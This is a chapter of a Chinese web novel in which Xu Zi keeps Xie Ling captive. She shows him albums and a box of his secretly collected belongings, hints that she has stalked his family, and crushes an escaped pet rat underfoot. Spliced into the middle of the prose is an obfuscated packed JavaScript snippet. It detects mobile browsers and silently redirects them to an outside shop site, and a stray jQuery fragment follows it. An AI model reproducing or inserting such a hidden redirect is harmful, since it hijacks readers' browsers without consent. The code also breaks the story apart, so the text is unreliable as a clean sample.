1.
谢鸰把喝剩的半杯水，又匀出一半，用来擦脸漱口。
这些日子，他一直靠这种方式清洁自己。
今天奢侈了一把，杯里的水只喝了两口，剩下的大部分都拿去洗漱了。
通风口外，是一如既往的明媚晴天，虽然之前也都是这样的天气，但今天的太阳看上去要格外可爱些。
谢鸰望着那团刺目的阳光，幻想它们铺在身上的感觉。从头到尾，严丝合缝，灼热到令人窒息。
这样的经历，熟悉，却又陌生。
咔哒，门被推开。
不知为何这声音总会让他联想到骨头错位的脆响，每每产生这种想法，浑身的骨头就会应景地痛一遍。
“来吧，”徐孜的身影立在门口，“我带你出去。”
2.
谢鸰在她牵引下来到一个貌似是客厅——显然就是客厅的地方。正正方方的空间里，放着一个皮质沙发，玻璃茶几，甚至还有一台老式电视。
唯一不同的是，没有落地窗。本该嵌着窗子的地方立着一堵厚厚的水泥墙，洋灰抹得随意，深浅交错，有点像白癜风患者的皮肤。
他抬头，又见到高悬在墙壁之上的通风口。
微弱的阳光从破洞般的口子里泻进来，勉强稀释了一点黑暗的浓度。
徐孜在沉闷的空气里转了一圈，面带微笑地问他：“怎么样？从今以后，这也是你的客厅了。”
谢鸰意识到，自己还是太乐观了。
他早该认清，现阶段徐孜是不可能放自己走的，哪怕只是出门晒个太阳。
“你是不是不喜欢。”
见谢鸰迟迟没反应，徐孜的笑容冷却下来。
“不喜欢的话，我带你回去。”
谢鸰才从那个又小又黑的房间里出来，尽管和想象中的“出去”有所不同，但比起那个小屋，这里已经算是天堂了。他不想回去，那里一个说话的人都没有。
“没有不喜欢。你的意思，我以后......也可以来这里吗？”
“嗯，”徐孜的笑容死而复生，“我想了想，总是闷在房间里也不好，所以，只要我有空，就会陪你来这里透透气。”
恍恍惚惚间，谢鸰竟生出点难以言说的感激。
炎热的天气里，大脑变得迟钝。
他想，大概就是这么一回事。总之，徐孜说过，等腿伤好了就放他走，她不会骗人的。
“而且，”
徐孜上前一步，目光刚与他相触就躲开了，声音也弱下去，“你不是想要了解我吗？”
谢鸰不记得这事了。好像昨晚稀里糊涂说过，完全是因为自己也不知道该回答什么，才随口胡应的。
他看到徐孜脸色浮起不明原因的潮红。她的烧还没退吗？
“你先在这坐会儿，我去拿东西。”徐孜朝他眨眼，“很快回来。”
谢鸰被摁到沙发上，转眼见她转身拐进前面的走廊。
四周静悄悄的，光束里翻飞的浮尘像困在琥珀里的虫子那样清晰可见。
——徐孜不在。
——没有门锁。
那，是不是意味着......
谢鸰望了眼徐孜离去的拐角，又回头看着后面那道漆黑的廊道。
耳朵里灌满了咚咚的心跳声。
他扶着沙发扶手，慢慢站起来。
完好的那只腿刚踏出去半步，脑海里就浮现出徐孜额头上的淤青。那道青紫色的伤在她过白的脸上格外刺眼。
鼻腔里，涌来蛋糕的香味。
额头隐隐发起烫。昨晚她把额头贴着他的额头，他感受到了，明明生着病，却还是要为他买蛋糕的......徐孜的体温。
谢鸰重重坐回沙发，用力搓了把脸。
余光透过玻璃桌面，瞥见茶几底部放着的一本书。
谢鸰伸手拿出，是本硬皮书，沉甸甸的，像块砖。全黑的封面，什么字都没有。
来到这里后，唯一能够打发时间的方式就是睡觉。他很久没看过书了，甚至有些怀念宿舍里那些平常翻都懒得翻开的课本。
谢鸰翻开，发现这不是书，上面写着密密麻麻的小字，字迹工整异常，乍一看像印刷上去的。
【2017年4月3日，晴。我喜欢上了一个男生，今天在食堂看到他了，他果然是人群里最好看的......】
"等很久了吗？抱歉。"
谢鸰迅速把手里的本子塞回原位，抬头见徐孜手里拿着东西走来，她靠着她坐下，摊开了手里的东西，原来是个相簿。
“想要了解我的话，”徐孜把碎发挽到耳后，眼眸低垂，轻声说，“可以看看这个。”
2017年......2017年他还在读初中，没见过徐孜啊。难道是校友？
谢鸰费解地想，又跟着她的手指去看相册上的照片。
“这是我幼儿园的合照，你能认出哪个是我吗？”
徐孜目光炯炯地盯着他。
感受到比三伏天里的毒日还要炙热的注视，谢鸰努力睁大眼睛，照片上都是长得差不多的小孩，圆脸蛋，红嘴唇，额心还贴着一朵小花贴纸。
“呃，这个吧。”
他指了一个。
“不是，”徐孜指向旁边的一个小女孩，“是这个。”
徐孜望向他，眼里的神采暗淡了一半。
“这张，这张是初中毕业照？”谢鸰赶紧转移话题，匆匆忙忙点着另一张照片问，“梧桐实验中学，梧桐市？梧桐市是哪儿？这地方不在我们省吧。”
“嗯，”徐孜点头，手指摩擦着相册边缘，“外地。”
这么说来，徐孜初中时不可能在学校食堂见过他。他一直在本省念书。
谢鸰想到什么，收回了手。
哦，就是初恋呗。
“你能认出哪个是我吗？”
谢鸰没什么兴致继续猜了，扫了一眼，照片上的学生都穿着一样的校服，留着大差不差的发型。他随便指了一个戴眼镜的。
“那不是我。”
徐孜合上相簿，回头看他，“谢鸰，你为什么一直认错？”
被这么质问，谢鸰也不乐意了，挺直身体反驳：
“多久之前的照片了，我哪能认得出你。况且我又不是和你一个中学的，怎么知道你中学时候长什么样，怎么会知道你喜欢谁？”
徐孜微微一愣，方才的不悦像被阳光消融的冰一样化掉了，眼睛里有什么闪烁了一下。
“你在说什么呀？”
谢鸰也不知道自己在说什么了，他无头苍蝇似地顾盼，又旁边挪了挪，“好热，你不要靠着我。”
徐孜一动也不动地坐在原位，相簿安安静静地躺在她的腿上，笔记本也静悄悄地卧在茶几下面。
她不说话了。
客厅里唯一的声音消失，陷入和小房间一样的死寂中。
谢鸰视线慢慢移过去，见她双肩轻颤，于是咂了下嘴：“只是觉得很热而已，没有别的意思，不要想多了。”
那对肩膀抖得更厉害了，隐约能听到细碎的啜泣。
“喂......”谢鸰凑过去，见她埋头捂着眼睛，连沙发都在抖，“我不是那个意思......”
啜泣依旧。
谢鸰不知道要怎么办，只能又挨过去，回到刚才的位置。
“你想怎么靠就怎么靠吧，别哭了。”
哭声渐渐停止，徐孜仍然捂着眼睛。“可你都认不出我。”
“换一种方式吧，别再看那些照片了，”谢鸰嘟囔，“我们之前又不认识，我肯定认不出来。了解一个人也不一定非要通过照片。”
“换什么方式？”
见她不再继续哭泣，谢鸰松了口气，“就，像现在这样，聊聊天也挺好的。”
“那不然，你问我，我来答。”徐孜放下手，回头看他，又一笑，“如何?”
谢鸰看着她干燥的眼周，顿时涨红了脸。
“你、你这人讨不讨厌啊！哭了半天一点眼泪都没有。”
徐孜充耳不闻他的抱怨，兴致勃勃地坐好，双手叠在膝盖上，像等待老师提问的小学生：“开始吧。”
谢鸰有点郁闷，遂无精打采地问：“你平常喜欢做什么。”
“收集。”回答的很干脆。
“收集什么，邮票？”没想到她的爱好这么老派。
徐孜摇摇头，从身旁拿出一个不知道什么时候找来的盒子。盒子是铁质的，盖子上有只凸出来的米老鼠。她打开盖子，谢鸰往里一瞟，不是邮票，是些鸡零狗碎的小玩意儿。
她从里面拿出一张电影票票根。
谢鸰盯着这张《泰坦尼克号》的电影票根，越看越眼熟，一下反应过来：“这不是我去年——”
去年《泰坦尼克号》重映，他去看了。本想发个朋友圈，哪知一出影院它就不见了，翻遍全身口袋都没找到这张票根。
“怎么在你手里？”
徐孜笑而不答，笑容里有令他不快的狡黠之色。
谢鸰又在里面看到了熟悉的物件。之前在食堂弄丢的左耳蓝牙耳机，居然也在这个小盒子里。
“这些，”徐孜慢慢合上盖子，“比邮票更有意思。”
谢鸰说不出话来，他望向徐孜，见她脸上没有露出一丝不妥，反而洋溢着收藏家般的自豪。
“还有什么想问的吗？”
谢鸰忍不住想起那天洗澡时徐孜提到的香水，她到底是怎么知道这些的？越往深处想，越让他感到一种无法言说的恐惧。
“我说徐孜，要不然你还是......”
“没有想问的就继续看照片吧，高中合照还没看呢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558554|204494||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
徐孜再次打开相册本，抽出一张毕业照，凑到他鼻尖前。
“这下能认出我了吗？”
高中照片确实更好辨认些，谢鸰半猜半认地指了一个，忐忑地看向她。
终于，徐孜的脸上露出笑容。
他松了口气，这简直比扫雷还要惊心动魄。
她仍举着那张照片，仍一言不发地看着他，好像在等什么。谢鸰看了眼照片上的戴着眼镜的女生，目光一移，又看见眼前的徐孜，几乎没什么大变化。
那双眼透出孩子式的期待，像等魔法师从帽子里变出兔子一样，等着他接下来的话。
谢鸰咽了口唾沫，点点头：“挺好的，看上去挺有精神的。”
徐孜收回照片，想通什么似的笑了一笑。她将相簿扔到一旁，回头把他凝视着，如放大镜般，仔仔细细地扫过他脸上的每一个地方。人也跟着越贴越近。
“家里只要有一个人负责好看就够了，”她伸手轻轻抚摸他的脸庞，“这张脸，应该是遗传了谢阿姨？她确实很漂亮。”
谢鸰正想躲开她，闻言瞪大眼睛，“你见过我妈？”
他妈妈压根没有来过学校，社交账号上也从没发过自拍，她从哪儿看到的？
徐孜的手指从他额头一路跳到下巴。
“你——猜——啊。”
3.
“我除了收集，还喜欢写东西，你想看看吗？”
谢鸰陷在徐孜为什么会知道妈妈长相的不安里，听她这话，下意识看向茶几下的那本笔记本。
很快，徐孜把一本黄色的线圈本塞到他手里。
谢鸰本来想拒绝，但见她一脸渴盼，只好翻开来看。
才看了一页，整张脸就辣了起来。他丢开本子，面红耳赤地质问:"这都是什么啊？"
徐孜捡起，“这是我们的爱情故事。”
“爱、爱情故事？”上面的内容令谢鸰难以启齿，这一切都太荒唐了，“不要再写这些了！也不准给别人看！否则......”
否则他也不能怎样。
徐孜置若罔闻地把本子放在茶几上，“看来你不喜欢这个，没关系。凡是都有过程。”
谢鸰的目光落在下面的黑色笔记本上。
“......你也这样写过别人吗？”
“什么？”
徐孜回头，谢鸰别开脸，盯着墙壁上那个通风口，光暗了一些，太阳正在往西边走。
“现在回到‘你问我答’模式了吗？”
他点点头，低头拔起衣摆上的线头，那线头越扯越长。
“你之前有喜欢的人吧？”
徐孜坐回沙发，“没有。为什么突然问这个？”
谢鸰打了个呵欠，“我随便问问的，就算有也没事啊，初恋什么的，不是挺正常的？就算你写了和别人的爱情故事，也没什么大不了的。”
徐孜忽然捧过他的脸，指甲几乎要戳进肉里。
掌心潮热，紧紧熨着皮肤。
“你在吃醋吗？”
谢鸰感到疼，撇开她的手，“我吃什么醋？况且我干嘛要吃醋。都说了随便问问而已。”
好热。今天应该有四十度吧？
他背过身坐在沙发上，边拿手扇风边持续声明：
“你想回答就回答，不想回答也可以不用回答，用不着说这些。我犯不着吃醋，你喜欢谁和我又没关系。”
顿了顿。
“等到出去之后，你喜欢谁都没关系，当然现在你喜欢谁也和我没关系。我只是说，就算等我出去了，也不会关心你喜欢谁。”
谢鸰感受到背上多出一份熟悉的重量。
“可我只喜欢你，谢鸰。”
真是......又搞这套。
他弓着背，不再说话，扇风的速度越来越快。
4.
“我平常会养宠物。这就是我的宠物。”
谢鸰盯着她拎来的笼子，里面有只不停乱转的灰鼠，看体型不像是仓鼠。
“花枝鼠？”
徐孜把笼子放在茶几上，摇摇头。
“是老鼠。”
“你是说，路边那种......”
“是。怎么样，可爱吧？"
笼子里的老鼠一个劲地原地转圈，吱吱直叫。谢鸰抚了抚起鸡皮的胳膊，实在没想到，有人会养老鼠。
忽然，不知道是老鼠撞开的，还是笼门本就没关好，他看到那只灰老鼠从笼子里嗖地一下跳到地上。
比它更快的东西从他眼前闪过。
砰——
很重的脚踏声。
谢鸰慢慢往声源望去，见老鼠被徐孜踩在鞋底，一动不动，四周溅落着血点和脏器。
“供你吃供你喝，还想逃跑，”徐孜抬起脚，血肉混合的东西在鞋底拉出一道丝，“不可原谅。”